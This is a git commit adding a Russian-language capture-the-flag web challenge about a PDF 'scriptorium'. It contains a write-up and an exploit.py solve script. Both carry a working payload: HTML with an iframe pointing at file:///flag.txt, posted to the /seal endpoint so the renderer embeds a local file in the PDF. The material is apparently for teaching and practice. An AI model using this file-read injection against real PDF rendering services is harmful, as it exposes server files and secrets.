Init. commit
This commit is contained in:
24
ArchmageScriptorium-Web/README.md
Normal file
24
ArchmageScriptorium-Web/README.md
Normal file
@@ -0,0 +1,24 @@
|
||||
# Web 1.1 Cкрипторий Архимага
|
||||
|
||||
В Башне Магов спрятан Запретный гримуар. Архимаг печатает свитки, но забывает закрыть доступ к библиотеке башни. Воспользуйтесь скрипториумом, чтобы добыть содержимое гримуара.
|
||||
|
||||
## Решение
|
||||
|
||||
Таск рендерит переданный `HTML/Markdown` в **PDF** и позволяет встраивать в сгенерированный файл внешние ресурсы. За счёт этого можно передать в `iframe` путь `file:///flag.txt` и заставить рендерер прочитать локальный файл при генерации `scroll.pdf`.
|
||||
|
||||
Для этого отправляем **POST** на `/seal`, в поле `content` передаём HTML с `iframe`, затем читаем содержимое в готовом PDF.
|
||||
|
||||
### Пример
|
||||
|
||||
Через `curl`:
|
||||
```bash
|
||||
curl -s -X POST http://localhost:8000/seal \
|
||||
-F 'content=<h1>Королевский Указ</h1><iframe src="file:///flag.txt" style="width:800px;height:200px"></iframe>' \
|
||||
-F 'format=html' \
|
||||
-o scroll.pdf
|
||||
```
|
||||
|
||||
Через скрипт `solve/exploit.py`:
|
||||
```bash
|
||||
python solve/exploit.py http://localhost:8000
|
||||
```
|
||||
27
ArchmageScriptorium-Web/exploit.py
Normal file
27
ArchmageScriptorium-Web/exploit.py
Normal file
@@ -0,0 +1,27 @@
|
||||
import sys
|
||||
import requests
|
||||
|
||||
|
||||
def main():
|
||||
base = sys.argv[1] if len(sys.argv) > 1 else "http://localhost:8000"
|
||||
payload = """
|
||||
<h1>Королевский Указ</h1>
|
||||
<p>Приложение: выдержка из гримуара</p>
|
||||
<iframe src="file:///flag.txt" style="width:800px;height:200px"></iframe>
|
||||
""".strip()
|
||||
|
||||
resp = requests.post(
|
||||
f"{base}/seal",
|
||||
data={"content": payload, "format": "html"},
|
||||
timeout=10,
|
||||
)
|
||||
resp.raise_for_status()
|
||||
|
||||
with open("scroll.pdf", "wb") as f:
|
||||
f.write(resp.content)
|
||||
|
||||
print("saved scroll.pdf")
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
main()
|
||||
Reference in New Issue
Block a user